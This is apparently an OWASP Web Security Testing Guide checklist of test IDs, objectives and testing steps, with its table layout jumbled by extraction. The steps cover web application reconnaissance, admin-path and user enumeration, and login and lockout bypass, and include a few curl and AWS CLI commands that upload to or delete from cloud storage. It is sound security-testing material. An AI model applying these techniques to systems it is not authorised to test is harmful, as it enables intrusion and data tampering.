OWASP: Testing Guide Checklist

Information
Test Name Objectives
Gathering

- Identify what sensitive design and configuration

Conduct Search Engine Discovery information of the application, system, or
WSTG-INFO-01 Reconnaissance for Information organization is exposed directly (on the
Leakage organization's site) or indirectly (via third-party
services).

- Determine the version and type of a running web

WSTG-INFO-02 Fingerprint Web Server server to enable further discovery of any known
vulnerabilities.

- Identify hidden or obfuscated paths and

Review Webserver Metafiles for functionality through the analysis of metadata files.
WSTG-INFO-03
Information Leakage - Extract and map other information that could lead
to a better understanding of the systems at hand.
 - Enumerate the applications within the scope that
WSTG-INFO-04 Enumerate Applications on Webserver
exist on a web server.

- Review web page comments, metadata, and

redirect bodies to find any information leakage.
- Gather JavaScript files and review the JS code to
Review Web Page Content for
WSTG-INFO-05 better understand the application and to find any
Information Leakage
information leakage.
- Identify if source map files or other frontend debug
files exist.

- Identify possible entry and injection points through

WSTG-INFO-06 Identify Application Entry Points
request and response analysis.
 Map Execution Paths Through - Map the target application and understand the
WSTG-INFO-07
Application principal workflows.

- Fingerprint the components used by the web

WSTG-INFO-08 Fingerprint Web Application Framework
applications.

WSTG-INFO-09 Fingerprint Web Application N/A

 - Understand the architecture of the application and
WSTG-INFO-10 Map Application Architecture
the technologies in use.

Configuration and
Deployment
Test Name Objectives
Management
Testing

- Review the applications' configurations set across

the network and validate that they are not vulnerable.
Test Network Infrastructure - Validate that used frameworks and systems are
WSTG-CONF-01
Configuration secure and not susceptible to known vulnerabilities
due to unmaintained software or default settings and
credentials.
 - Ensure that default and known files have been
removed.
- Validate that no debugging code or extensions are
WSTG-CONF-02 Test Application Platform Configuration
left in the production environments.
- Review the logging mechanisms set in place for the
application.

- Brute force sensitive file extensions that might

Test File Extensions Handling for contain raw data such as scripts, credentials, etc.
WSTG-CONF-03
Sensitive Information - Validate that no system framework bypasses exist
for the rules that have been set
 Review Old Backup and Unreferenced - Find and analyse unreferenced files that might
WSTG-CONF-04
Files for Sensitive Information contain sensitive information.

Enumerate Infrastructure and - Identify hidden administrator interfaces and

WSTG-CONF-05
Application Admin Interfaces functionality.
 - Enumerate supported HTTP methods.
WSTG-CONF-06 Test HTTP Methods - Test for access control bypass.
- Test HTTP method overriding techniques.

WSTG-CONF-07 Test HTTP Strict Transport Security - Review the HSTS header and its validity.

WSTG-CONF-08 Test RIA Cross Domain Policy N/A

WSTG-CONF-09 Test File Permission - Review and identify any rogue file permissions.

- Enumerate all possible domains (previous and

WSTG-CONF-10 Test for Subdomain Takeover current).
- Identify any forgotten or misconfigured domains.
 - Assess that the access control configuration for the
WSTG-CONF-11 Test Cloud Storage
storage services is properly in place.

- Review the Content-Security-Policy header or meta

WSTG-CONF-12 Testing for Content Security Policy
element to identify misconfigurations.

- Make sure application paths are configured

WSTG-CONF-13 Test Path Confusion
correctly.

Identity
Management Test Name Objectives
Testing
 - Identify and document roles used by the
application.
WSTG-IDNT-01 Test Role Definitions - Attempt to switch, change, or access another role.
- Review the granularity of the roles and the needs
behind the permissions given.

- Verify that the identity requirements for user

registration are aligned with business and security
WSTG-IDNT-02 Test User Registration Process
requirements.
- Validate the registration process.

- Verify which accounts may provision other accounts

WSTG-IDNT-03 Test Account Provisioning Process
and of what type.
 - Review processes that pertain to user identification
Testing for Account Enumeration and (*e.g.* registration, login, etc.).
WSTG-IDNT-04
Guessable User Account - Enumerate users where possible through response
analysis.

- Determine whether a consistent account name

structure renders the application vulnerable to
Testing for Weak or Unenforced
WSTG-IDNT-05 account enumeration.
Username Policy
- Determine whether the application's error
messages permit account enumeration.

Authentication
Test Name Objectives
Testing

Testing for Credentials Transported

WSTG-ATHN-01 N/A
over an Encrypted Channel

- Determine whether the application has any user

accounts with default passwords.
WSTG-ATHN-02 Testing for Default Credentials
- Review whether new user accounts are created
with weak or predictable passwords.
 - Evaluate the account lockout mechanism's ability to
mitigate brute force password guessing.
WSTG-ATHN-03 Testing for Weak Lock Out Mechanism
- Evaluate the unlock mechanism's resistance to
unauthorized account unlocking.

Testing for Bypassing Authentication - Ensure that authentication is applied across all
WSTG-ATHN-04
Schema services that require it.

- Validate that the generated session is managed

Testing for Vulnerable Remember
WSTG-ATHN-05 securely and do not put the user's credentials in
Password
danger.

- Review if the application stores sensitive

Testing for Browser Cache
WSTG-ATHN-06 information on the client-side.
Weaknesses
- Review if access can occur without authorization.
 - Determine the resistance of the application against
brute force password guessing using available
WSTG-ATHN-07 Testing for Weak Password Policy password dictionaries by evaluating the length,
complexity, reuse, and aging requirements of
passwords.

- Determine the complexity and how straight-forward

Testing for Weak Security Question the questions are.
WSTG-ATHN-08
Answer - Assess possible user answers and brute force
capabilities.

Testing for Weak Password Change or - Determine whether the password change and reset
WSTG-ATHN-09
Reset Functionalities functionality allows accounts to be compromised.
 - Identify alternative authentication channels.
Testing for Weaker Authentication in
WSTG-ATHN-10 - Assess the security measures used and if any
Alternative Channel
bypasses exists on the alternative channels.

- Identify the type of MFA used by the application.

Testing Multi-Factor Authentication - Determine whether the MFA implementation is
WSTG-ATHN-11
(MFA) robust and secure.
- Attempt to bypass the MFA.

Authorization
Test Name Objectives
Testing
 - Identify injection points that pertain to path
traversal.
WSTG-ATHZ-01 Testing Directory Traversal File Include
- Assess bypassing techniques and identify the
extent of path traversal.

Testing for Bypassing Authorization

WSTG-ATHZ-02 - Assess if horizontal or vertical access is possible.
Schema
 - Identify injection points related to privilege
manipulation.
WSTG-ATHZ-03 Testing for Privilege Escalation
- Fuzz or otherwise attempt to bypass security
measures.

- Identify points where object references may occur.

Testing for Insecure Direct Object
WSTG-ATHZ-04 - Assess the access control measures and if they're
References
vulnerable to IDOR.

- Determine if OAuth2 implementation is vulnerable

WSTG-ATHZ-05 Testing for OAuth Weaknesses
or using a deprecated or custom implementation.
Session
Management Test Name Objectives
Testing

- Gather session tokens, for the same user and for

different users where possible.
Testing for Session Management - Analyze and ensure that enough randomness
WSTG-SESS-01
Schema exists to stop session forging attacks.
- Modify cookies that are not signed and contain
information that can be manipulated.

- Ensure that the proper security configuration is set

WSTG-SESS-02 Testing for Cookies Attributes
for cookies.
 - Analyze the authentication mechanism and its flow.
WSTG-SESS-03 Testing for Session Fixation
- Force cookies and assess the impact.

- Ensure that proper encryption is implemented.

WSTG-SESS-04 Testing for Exposed Session Variables - Review the caching configuration.
- Assess the channel and methods' security.
 - Determine whether it is possible to initiate requests
WSTG-SESS-05 Testing for Cross Site Request Forgery
on a user's behalf that are not initiated by the user.

- Assess the logout UI.

WSTG-SESS-06 Testing for Logout Functionality - Analyze the session timeout and if the session is
properly killed after logout.
WSTG-SESS-07 Testing Session Timeout - Validate that a hard session timeout exists.

- Identify all session variables.

WSTG-SESS-08 Testing for Session Puzzling
- Break the logical flow of session generation.

- Identify vulnerable session cookies.

WSTG-SESS-09 Testing for Session Hijacking
- Hijack vulnerable cookies and assess the risk level.

- Determine whether the JWTs expose sensitive

information.
WSTG-SESS-10 Testing JSON Web Tokens
- Determine whether the JWTs can be tampered with
or modified.
Input Validation
Test Name Objectives
Testing

- Identify variables that are reflected in responses.

Testing for Reflected Cross Site
WSTG-INPV-01 - Assess the input they accept and the encoding that
Scripting
gets applied on return (if any).

- Identify stored input that is reflected on the client-

side.
WSTG-INPV-02 Testing for Stored Cross Site Scripting
- Assess the input they accept and the encoding that
gets applied on return (if any).

WSTG-INPV-03 Testing for HTTP Verb Tampering N/A

- Identify the backend and the parsing method used.

WSTG-INPV-04 Testing for HTTP Parameter Pollution - Assess injection points and try bypassing input
filters using HPP.
 - Identify SQL injection points.
WSTG-INPV-05 Testing for SQL Injection - Assess the severity of the injection and the level of
access that can be achieved through it.

- Identify LDAP injection points.

WSTG-INPV-06 Testing for LDAP Injection
- Assess the severity of the injection.

- Identify XML injection points.

WSTG-INPV-07 Testing for XML Injection - Assess the types of exploits that can be attained
and their severities.

- Identify SSI injection points.

WSTG-INPV-08 Testing for SSI Injection
- Assess the severity of the injection.
WSTG-INPV-09 Testing for XPath Injection - Identify XPATH injection points.

- Identify IMAP/SMTP injection points.

- Understand the data flow and deployment structure
WSTG-INPV-10 Testing for IMAP SMTP Injection
of the system.
- Assess the injection impacts.

- Identify injection points where you can inject code

WSTG-INPV-11 Testing for Code Injection into the application.
- Assess the injection severity.

WSTG-INPV-12 Testing for Command Injection - Identify and assess the command injection points.
WSTG-INPV-13 Testing for Buffer Overflow N/A

- Assess whether injecting format string conversion

WSTG-INPV-13 Testing for Format String Injection specifiers into user-controlled fields causes
undesired behavior from the application.

- Identify injections that are stored and require a

recall step to the stored injection.
WSTG-INPV-14 Testing for Incubated Vulnerability
- Understand how a recall step could occur.
- Set listeners or activate the recall step if possible.

- Assess if the application is vulnerable to splitting,

identifying what possible attacks are achievable.
WSTG-INPV-15 Testing for HTTP Splitting Smuggling - Assess if the chain of communication is vulnerable
to smuggling, identifying what possible attacks are
achievable.
 - Monitor all incoming and outgoing HTTP requests
to the Web Server to inspect any suspicious
WSTG-INPV-16 Testing for HTTP Incoming Requests requests.
- Monitor HTTP traffic without changes of end user
Browser proxy or client-side application.

- Assess if the Host header is being parsed

WSTG-INPV-17 Testing for Host Header Injection dynamically in the application.
- Bypass security controls that rely on the header.

- Detect template injection vulnerability points.

Testing for Server-side Template
WSTG-INPV-18 - Identify the templating engine.
Injection
- Build the exploit.

- Identify SSRF injection points.

Testing for Server-Side Request
WSTG-INPV-19 - Test if the injection points are exploitable.
Forgery
- Asses the severity of the vulnerability.
 - Identify requests that modify objects
WSTG-INPV-20 Testing for Mass Assignment - Assess if it is possible to modify fields never
intended to be modified from outside

Testing for Error

Test Name Objectives
Handling

- Identify existing error output.

WSTG-ERRH-01 Testing for Improper Error Handling
- Analyze the different output returned.

WSTG-ERRH-02 Testing for Stack Traces N/A

Testing for Weak

Test Name Objectives
Cryptography
 - Validate the service configuration.
- Review the digital certificate's cryptographic
Testing for Weak Transport Layer
WSTG-CRYP-01 strength and validity.
Security
- Ensure that the TLS security is not bypassable and
is properly implemented across the application.

- Identify encrypted messages that rely on padding.

- Attempt to break the padding of the encrypted
WSTG-CRYP-02 Testing for Padding Oracle
messages and analyze the returned error messages
for further analysis.

- Identify sensitive information transmitted through

Testing for Sensitive Information Sent the various channels.
WSTG-CRYP-03
via Unencrypted Channels - Assess the privacy and security of the channels
used.

- Provide a guideline for the identification weak

WSTG-CRYP-04 Testing for Weak Encryption
encryption or hashing uses and implementations.
Business Logic
Test Name Objectives
Testing

- Identify data injection points.

- Validate that all checks are occurring on the
WSTG-BUSL-01 Test Business Logic Data Validation backend and can't be bypassed.
- Attempt to break the format of the expected data
and analyze how the application is handling it.

- Review the project documentation looking for

guessable, predictable, or hidden functionality of
WSTG-BUSL-02 Test Ability to Forge Requests fields.
- Insert logically valid data in order to bypass normal
business logic workflow.

- Review the project documentation for components

of the system that move, store, or handle data.
- Determine what type of data is logically acceptable
by the component and what types the system should
guard against.
WSTG-BUSL-03 Test Integrity Checks
- Determine who should be allowed to modify or read
that data in each component.
- Attempt to insert, update, or delete data values
used by each component that should not be allowed
per the business logic workflow.

- Review the project documentation for system

WSTG-BUSL-04 Test for Process Timing functionality that may be impacted by time.
- Develop and execute misuse cases.
 - Identify functions that must set limits to the times
Test Number of Times a Function Can they can be called.
WSTG-BUSL-05
Be Used Limits - Assess if there is a logical limit set on the functions
and if it is properly validated.

- Review the project documentation for methods to

skip or go through steps in the application process in
Testing for the Circumvention of Work a different order from the intended business logic
WSTG-BUSL-06
Flows flow.
- Develop a misuse case and try to circumvent every
logic flow identified.

- Generate notes from all tests conducted against the

system.
- Review which tests had a different functionality
Test Defenses Against Application
WSTG-BUSL-07 based on aggressive input.
Misuse
- Understand the defenses in place and verify if they
are enough to protect the system against bypassing
techniques.

- Review the project documentation for file types that

are rejected by the system.
- Verify that the unwelcomed file types are rejected
WSTG-BUSL-08 Test Upload of Unexpected File Types
and handled safely.
- Verify that file batch uploads are secure and do not
allow any bypass against the set security measures.
 - Identify the file upload functionality.
- Review the project documentation to identify what
file types are considered acceptable, and what types
would be considered dangerous or malicious.
- If documentation is not available then consider
WSTG-BUSL-09 Test Upload of Malicious Files what would be appropriate based on the purpose of
the application.
- Determine how the uploaded files are processed.
- Obtain or create a set of malicious files for testing.
- Try to upload the malicious files to the application
and determine whether it is accepted and processed.

- Determine whether the business logic for the e-

commerce functionality is robust.
WSTG-BUSL-10 Test Payment Functionality - Understand how the payment functionality works.
- Determine whether the payment functionality is
secure.

Client-side
Test Name Objectives
Testing

Testing for DOM-Based Cross Site - Identify DOM sinks.

WSTG-CLNT-01
Scripting - Build payloads that pertain to every sink type.
 - Identify sinks and possible JavaScript injection
WSTG-CLNT-02 Testing for JavaScript Execution
points.

- Identify HTML injection points and assess the

WSTG-CLNT-03 Testing for HTML Injection
severity of the injected content.

- Identify injection points that handle URLs or paths.

WSTG-CLNT-04 Testing for Client-side URL Redirect - Assess the locations that the system could redirect
to.

- Identify CSS injection points.

WSTG-CLNT-05 Testing for CSS Injection
- Assess the impact of the injection.
 Testing for Client-side Resource - Identify sinks with weak input validation.
WSTG-CLNT-06
Manipulation - Assess the impact of the resource manipulation.

- Identify endpoints that implement CORS.

WSTG-CLNT-07 Testing Cross Origin Resource Sharing - Ensure that the CORS configuration is secure or
harmless.

- Decompile and analyze the application's code.

WSTG-CLNT-08 Testing for Cross Site Flashing
- Assess sinks inputs and unsafe method usages.
 - Understand security measures in place.
WSTG-CLNT-09 Testing for Clickjacking - Assess how strict the security measures are and if
they are bypassable.

- Identify the usage of WebSockets.

WSTG-CLNT-10 Testing WebSockets - Assess its implementation by using the same tests
on normal HTTP channels.

- Assess the security of the message's origin.

WSTG-CLNT-11 Testing Web Messaging - Validate that it's using safe methods and validating
its input.
 - Determine whether the website is storing sensitive
data in client-side storage.
WSTG-CLNT-12 Testing Browser Storage - The code handling of the storage objects should be
examined for possibilities of injection attacks, such
as utilizing unvalidated input or vulnerable libraries.

- Locate sensitive data across the system.

WSTG-CLNT-13 Testing for Cross Site Script Inclusion - Assess the leakage of sensitive data through
various techniques.

WSTG-CLNT-14 Testing for Reverse Tabnabbing N/A

API Testing Test Name Objectives

 - Assess that a secure and production-ready
configuration is deployed.
WSTG-APIT-01 Testing GraphQL
- Validate all input fields against generic attacks.
- Ensure that proper access controls are applied.
 How to Test Status

- Search engines often expose sensitive info such as network details, login
credentials, and private organizational data.
- Use as many: Different search engines, including Baidu, Bing, Google, and
DuckDuckGo, offer unique results due to their specific algorithms and indexing times.
- Use search operators: Advanced operators like site:, inurl:, and filetype: refine
search queries for more targeted findings. Not Started
- View Cached Content: The cache: operator helps retrieve previously indexed,
changed, or removed online content.
- Leverage Google Hacking/Dorking: A technique using search operators to locate
sensitive data, supported by resources like the Google Hacking Database.

- Perform banner grabbing using tools like telnet for HTTP or openssl for TLS/SSL
requests to analyze web server response headers​​.
- Send malformed requests to the web server and examine error responses or default
error pages for server identification​​. Not Started
- Use automated scanning tools like Netcraft, Nikto, and Nmap/Zenmap for more
robust web server fingerprinting, leveraging their extensive databases of known
responses

- Review the robots.txt file for disallowed paths or specific rules for web crawlers,
which could reveal hidden or sensitive content​​.
- Examine <META> tags within the HTML documents for directives or information that
could aid in mapping the application's structure or technology​​.
- Analyze sitemap.xml files to gain insights into the site's structure and the
Not Started
relationships between different pages or files​​.
- Check for a security.txt file, which might contain security-related policies and
contact information​​.
- Look for a humans.txt file to identify contributors to the site and possibly gather
information on job roles or technologies used​​.
- Check for web applications on non-standard URLs through methods like directory
browsing, search engine indexing (using site: operator), and probing likely URLs
(e.g., /webmail, /admin)​​.
- Use a port scanner like Nmap with the -sV option to identify HTTP[S] services on
non-standard ports, scanning the full range of TCP ports​​.
Not Started
- For virtual host discovery, attempt DNS zone transfers using tools like nslookup,
host, or dig, and perform inverse (PTR) DNS record queries to identify associated DNS
names​​.
- Inspect HTTPS server certificates for Common Name (CN) and Subject Alternate
Name (SAN) to find associated hostnames using tools like OpenSSL​​.

- Review web page comments and metadata in HTML source code for debugging
information or sensitive data like SQL code, credentials, or internal IP addresses​​.
- Identify and examine JavaScript code and external .js files for hardcoded sensitive
information such as API keys, internal IP addresses, sensitive routes, or credentials​​.
- Check for source map files by appending the “.map” extension to JavaScript files,
Not Started
and analyze these files for sensitive information that could provide insights into the
application​​.
- Inspect redirect responses, especially those resulting from authentication or
authorization checks, for leaked content using browser developer tools or personal
proxies like ZAP, Burp, Fiddler, or Charles​​.

- Understand the application's structure by analyzing all HTTP requests, focusing

on parameters and form fields in GET and POST requests. Use tools like intercepting
proxies for deeper inspection of these requests, paying special attention to hidden form
fields in POST requests​​.
- Record observed parameters, custom headers, and other request/response details
in a structured format (e.g., spreadsheet). Note the type of request, authentication
status, TLS usage, involvement in multi-step processes, and use of WebSockets​​.
- Scrutinize GET and POST requests for parameters in URLs and request bodies,
Not Started
including hidden fields and query strings. Also, look out for custom headers and other
unusual or additional headers​​.
- Examine response characteristics, such as new or modified cookies, redirects,
status codes like 403 Forbidden or 500 Internal Server Errors, and any notable
headers (e.g., load balancing indicators)​​.
- Utilize the OWASP Attack Surface Detector tool as a plugin in ZAP or Burp Suite,
or as a command-line tool to uncover web application endpoints, parameters, and data
types, including those not typically found by spiders​​.
- Document the discovered code paths in black-box testing, focusing on
combinatorial and boundary value analysis for decision paths, data flow or taint
analysis for variable assignments, and race conditions involving concurrent data
manipulation​​.
- Use automatic spidering tools like the Zed Attack Proxy (ZAP) to automatically
Not Started
discover new URLs and resources on the site. Begin with a list of seed URLs to guide
the spidering process​​.
- Leverage ZAP's various spidering options, including the standard Spider, Ajax
Spider, and OpenAPI Support, to comprehensively map the application's execution
paths​​.

- To identify web application frameworks, consider several common locations

including HTTP headers, cookies, HTML source code, specific files and folders, file
extensions, and error messages​​.
- Examine X-Powered-By field in HTTP headers using tools like netcat, but be aware
that this can be easily obfuscated or disabled for security​​.
- Look for framework-specific cookies which can indicate the underlying web
framework more reliably than some other methods​​.
Not Started
- Analyze HTML source code for patterns, comments, framework-specific paths (like
CSS or JS folders), or script variables that point to a specific framework​​.
- Use dirbusting techniques to identify specific file and folder structures on the server
unique to web components, enhancing the accuracy of framework identification​​.
- Investigate URLs for file extensions, as these can often indicate the technology
used, such as .php for PHP, .aspx for Microsoft ASP.NET, and .jsp for Java Server
Pages​​.

N/A Not Started

- Map the application architecture by identifying different components such as web
servers, application servers, database servers, LDAP servers, and firewalls. This can
be done through documentation provided by the application developers or through
blind penetration tests​​.
- Detect reverse proxies and web application firewalls by analyzing server banners
and responses to web requests. Look for discrepancies in expected vs. actual
responses, or specific error messages that may indicate the presence of these
elements​​.
- Identify network load balancers by analyzing multiple requests and comparing Not Started
results to determine if requests are going to the same or different web servers. Look for
distinct headers or cookies, such as those introduced by F5 BIG-IP load balancers​​.
- Detect application web servers by observing response headers and cookies set by
the server. For example, JSESSIONID cookies are indicative of J2EE servers​​.
- Determine the use of backend databases by observing the dynamic content
generation patterns and request formats, such as numeric identifiers for articles in an
online shop. Knowledge of the underlying database may also be inferred from
vulnerabilities like SQL injection​​.

Status

- Review known server vulnerabilities, especially those that allow unauthorized file
uploads or replacements. Use automated tools for remote testing, but be aware of
false positives/negatives and limitations in detecting non-exposed components like
authentication backends or databases. Detailed internal information about software
versions, releases, and patches is crucial for effective vulnerability analysis​​. Not Started
- Examine administrative tools used in the web server infrastructure, such as web-
based interfaces, configuration files, or operating-system GUI tools. Ensure the
security of these tools, particularly regarding access control mechanisms, and change
default credentials to prevent unauthorized access​​.
- Examine sample and known files and directories provided by default in web and
application servers, as they may be vulnerable. Use CGI scanners for a quick check,
but a full review of the server's contents is recommended to ensure that these files are
not related to the application itself​​.
- Perform a comment review to check for any sensitive information leaked through
inline HTML comments or commented-out source code. This can be done through a
thorough analysis of the web server's static and dynamic content and file searches​​.
- Assess system configuration using tools like CIS-CAT Lite, Microsoft’s Attack
Surface Analyzer, and NIST’s National Checklist Program to ensure conformance to
configuration baselines or benchmarks​​. Not Started
- Conduct a configuration review of the web server or application server. This
includes ensuring only necessary server modules are enabled, custom handling of
server errors, running the server with minimized privileges, proper logging of access
and errors, and configuring the server to handle overloads and prevent Denial of
Service attacks​​.
- Evaluate logging mechanisms to detect flaws in applications and sustained attacks.
Ensure logs do not contain sensitive information, are stored securely, are not
susceptible to causing Denial of Service conditions, are rotated and kept for
appropriate durations, are reviewed effectively, and that logged data is validated​​.

- Submit requests with various file extensions and check how they are handled on
a per-directory basis, especially in directories allowing script execution. Use scanning
tools for directory identification and mirror the website structure to map the web
directories​​.
- As an example, accessing a file like connection.inc can reveal sensitive
information such as database credentials, indicating the presence of a MySQL DBMS
backend​​.
- Certain file extensions, like .asa, .inc, and .config, should never be served by the
web server as they may contain sensitive information. Other extensions
like .zip, .java, .txt, .pdf, and office document formats should be carefully checked to Not Started
ensure they are intended to be served and do not contain sensitive data​​.
- Employ a mix of techniques, including vulnerability scanners, spidering and
mirroring tools, manual inspection, and search engine queries, to identify files with
specific extensions. This approach helps overcome limitations in automatic spidering
and addresses security issues related to "forgotten" files​​.
- Be aware of legacy file handling mechanisms, such as Windows 8.3, which can
sometimes bypass file upload filters, leading to potential security vulnerabilities.
Examples include the processing of file.phtml as PHP code and the expansion of
SHELL~1.PHP by the OS shell followed by processing by the PHP ISAPI handler​​.
- Inference from Naming Scheme: Enumerate application's pages and functions,
inferring unreferenced pages from the naming scheme.
- Clues in Published Content: Review source code for hidden clues like comments,
disabled forms, and JavaScript links.
- Blind Guessing: Use tools like netcat with common filenames, focusing on server
responses.
- Server Vulnerabilities/Misconfigurations: Look for directory listings and specific Not Started
server vulnerabilities.
- Public Information: Search engines and caches for unlinked but present pages.
- Filename Filter Bypass: Exploit OS filename expansion features and parsing
differences.
- Gray-Box Testing: Manually and scriptedly inspect directories for backup or old files
with predictable extensions.

- Use directory and file enumeration techniques, such as guessing paths like
/admin or /administrator, and employ tools for brute-forcing server contents. Check for
filenames of administrative pages.
- Examine source code for comments and links that might reveal links to administrator
functionality.
- Review server and application documentation for default configurations and
access information. Consult default password lists if administrative interface is found.
- Look for publicly available information about common administrative interfaces,
Not Started
like those in WordPress.
- Check for administrative interfaces on alternative server ports, such as Apache
Tomcat’s interface often seen on port 8080.
- Investigate potential parameter tampering, like GET/POST parameters or cookies
that might enable administrator functionality.
- Verify server/application hardening, check for non-default
credentials/configurations, and review source code for clear user/admin role
separation.
- Identify supported HTTP methods using an OPTIONS request or by directly
requesting each method and observing server responses.
- Test the PUT and DELETE methods for potential file creation or deletion on the
server, noting their different effects based on server configuration.
- Check for the TRACE method, which echoes back request contents, noting its
deprecation but importance for server hardening.
Not Started
- Examine the CONNECT method that could allow traffic proxying through the server.
- Investigate the PATCH method for object modification instructions.
- Test for access control bypass using different HTTP methods like HEAD or custom
methods.
- Test for HTTP method overriding using headers like X-HTTP-Method, X-HTTP-
Method-Override, or X-Method-Override.

- Confirm the presence of the HSTS header by inspecting server responses via an
intercepting proxy.
Not Started
- Use curl to check for the HSTS header, e.g., curl -s -D- https://example.org | grep -i
strict-transport-security.

N/A Not Started

- Use the ls command in Linux to check file permissions. Alternatively, namei can
recursively list file permissions ($ namei -l /PathToCheck/).
- Focus on testing permissions of web files/directories, configuration files, sensitive Not Started
files (e.g., encrypted data, passwords, keys), log files, executables, database files,
temporary files, and upload directories.

- Enumerate victim's DNS servers and resource records using methods like DNS
enumeration with common subdomains, brute force, or OSINT data sources, and
check for DNS server response messages like NXDOMAIN, SERVFAIL, REFUSED, or
no servers could be reached.
- Perform basic DNS enumeration with tools like dnsrecon to identify inactive or
Not Started
unused DNS records, especially A and CNAME records.
- For A records, perform a whois lookup to identify the service provider and check for
a "404 - File not found" response which indicates vulnerability.
- Test NS record subdomain takeover by identifying all nameservers for the domain
and checking if any are associated with domains available for purchase.
- URL Identification: Determine the URL for accessing the cloud storage service. For
Amazon S3, identify the bucket URL, which can be in virtual hosted style or path-style.
- Read Unauthorized Data: Use curl -X GET to test reading an object from the storage
service. Example: curl -X GET https://<cloud-storage-service>/<object>.
- Upload Arbitrary File: Test file upload capability with curl -X PUT. For Windows, use
double quotes. Example: curl -X PUT -d 'test' "https://<cloud-storage-service>/test.txt".
- AWS CLI Testing: Apart from curl, AWS CLI can be used for listing (aws s3 ls Not Started
s3://<bucket-name>), uploading (aws s3 cp arbitrary-file s3://bucket-name/path-to-
save), and removing objects (aws s3 rm s3://bucket-name/object-to-remove) in an S3
bucket.
- Analyzing Test Results: Success or failure in performing these actions, such as
unauthorized read or upload, indicates the configuration state of the S3 bucket,
revealing potential misconfigurations.

- Test for CSP misconfigurations by examining the Content-Security-Policy HTTP

response header or CSP meta element for:
- The unsafe-inline directive, which enables inline scripts/styles and increases
XSS vulnerability.
- The unsafe-eval directive that allows eval() use, prone to bypass techniques like
data URL injection.
Not Started
- The unsafe-hashes directive permitting inline scripts/styles based on specific
hashes.
- Wildcard sources (*) in directives, allowing resources like scripts to be loaded
from any origin, and check for partial match wildcards like https://* or *.cdn.com.
- The frame-ancestors directive using wildcards, potentially leading to clickjacking
vulnerabilities if not properly defined.

- In black-box testing, replace existing application paths with non-existent ones and
observe the behavior and status codes. For instance, modify a known path like
https://example.com/user/dashboard to https://example.com/user/dashboard/non.js to
check for Web Cache Deception vulnerabilities. Not Started
- In white-box testing, examine the application's routing configuration, often involving
regular expressions. Look for incorrect patterns that could lead to vulnerabilities, such
as misconfigured expressions in Django's urls.py.

Status
- Identify application roles for testing through application documentation,
developer/administrator guidance, comments within the application, and fuzzing
possible roles via cookie/account variables or hidden directories/files.
- Test and validate access to identified roles. Be aware that the mere existence of
roles does not necessarily indicate a vulnerability. Not Started
- Review and understand the permissions assigned to each role to ensure
appropriate access levels, such as preventing support engineers from performing
administrative functions or restricting administrators' powers with maker-checker
principles or multi-factor authentication (MFA).

- Verify user registration aligns with business and security needs by checking if:
- Anyone can register for access.
- Registrations are vetted manually or automatically.
- Multiple registrations are allowed per identity.
- Users can register for different roles or permissions.
Not Started
- Required proof of identity for successful registration.
- Registered identities are verified.
- Validate the registration process by assessing:
- The ease of forging or faking identity information.
- Potential manipulation in the exchange of identity information during registration.

- Determine which roles can provision users and the types of accounts they can
create. Investigate the following:
- The presence of verification, vetting, and authorization for provisioning and de-
provisioning requests.
- Whether administrators can provision other administrators or only users.
Not Started
- If administrators or users can provision accounts with higher privileges than their
own.
- The ability of administrators or users to de-provision themselves.
- The management of files or resources owned by de-provisioned users, including
whether they are deleted or if access is transferred.
- To test for user enumeration, record server responses for:
- Valid user ID and password.
- Valid user ID with wrong password.
- Invalid user ID with a password.
- Analyze differences in error messages and HTTP responses for these scenarios.
- Enumerate users through methods like analyzing error codes on login pages, URL
Not Started
redirections, URI probing, web page titles, recovery facility messages, friendly 404
error messages, and response times.
- Test staff impersonation by ensuring reserved usernames (e.g., admin) can't be
used in registration or profile editing.
- For gray-box testing, confirm uniformity in authentication error messages across all
failed attempts.

- Determine the structure of account names.

- Evaluate the application’s response to valid and invalid account names.
- Use different responses to valid and invalid account names to enumerate valid Not Started
account names.
- Use account name dictionaries to enumerate valid account names.

How to Test Status

N/A Not Started

- Identify the software in use and search for its default passwords using methods like
online searches, reviewing manuals, checking common default password databases,
and inspecting application source code or hardware.
- Test for organization-specific default passwords, which are often predictable and
can be identified through guessing or brute-forcing, especially in grey-box or white-box Not Started
testing scenarios.
- Check for application-generated default passwords by creating multiple accounts
and comparing the passwords, looking for patterns like static strings, hashed account
details, or weak pseudo-random number generation.
- Attempt login with incorrect password incrementally (3, 4, 5 times) to check at
which point lockout triggers.
- After lockout, try correct password at different intervals (5, 10, 15 minutes) to
determine automatic unlock time​​.
- Assess CAPTCHA for weaknesses like easily solvable challenges, server-side
validation issues, and bypass possibilities including cookie manipulation and direct Not Started
server-side requests​​.
- Apply testing process to all application functionalities requiring lockout mechanisms​​
.
- Initiate unlock mechanism; inspect for vulnerabilities, especially in mechanisms like
secret questions or one-time email links​​.

- Use direct page requests to access protected pages without authentication.

- Modify URL parameters or cookies to bypass login.
- Predict or brute-force session IDs for unauthorized access. Not Started
- Exploit SQL injection vulnerabilities in authentication forms.
- Look for PHP loose comparison vulnerabilities or similar flaws in source code.

- Examine if credentials are stored in encoded form in browser storage; follow web
storage testing and session analysis scenarios.
- Test for vulnerabilities to Clickjacking and CSRF attacks due to automatic
Not Started
credential injection.
- Analyze token lifetimes to ensure they expire appropriately and don't pose a risk if
stolen.

- Enter sensitive information, log out, and use the browser's Back button to check if
sensitive data can be accessed unauthenticated.
- Ensure pages are delivered over HTTPS and use Cache-Control: must-revalidate
to prevent sensitive data storage in browser history.
- Use a proxy like ZAP to check server responses for Cache-Control: no-cache, no-
store, Expires: 0, Pragma: no-cache directives on pages with sensitive information. Not Started
- Verify browser cache handling on different browsers and operating systems;
inspect cache directories for stored sensitive information.
- Test mobile browser cache handling separately, using tools like Chrome’s Device
Mode or Firefox’s Responsive Design Mode, and personal proxies to simulate mobile
User-Agent strings.
- Check permitted and forbidden characters for passwords, and requirements for
character sets like upper/lowercase letters, digits, and symbols.
- Determine the frequency of password changes and if rapid consecutive changes
can bypass password history requirements.
- Assess if the application enforces regular password changes and complies with
standards like PCI DSS.
-Investigate how often a user can reuse a password and if the application tracks Not Started
password history.
- Evaluate how different consecutive passwords must be.
- Verify if the application prevents use of username or personal information in
passwords.
- Examine the minimum and maximum password length settings for
appropriateness.

- Obtain a list of security questions by creating a new account or using the

password recovery process. Identify questions vulnerable to attacks like guessing,
brute-forcing, or social media information.
- Create security questions in an existing account to check if the system permits
insecure self-generated questions.
Not Started
- Assess if incorrect security answers trigger a lockout mechanism.
- Focus on exploiting security questions with public, factual, or limited answer
options.
- Determine the number of permissible guesses, presence of lockout mechanisms,
and potential for Denial of Service attacks via incorrect answers.

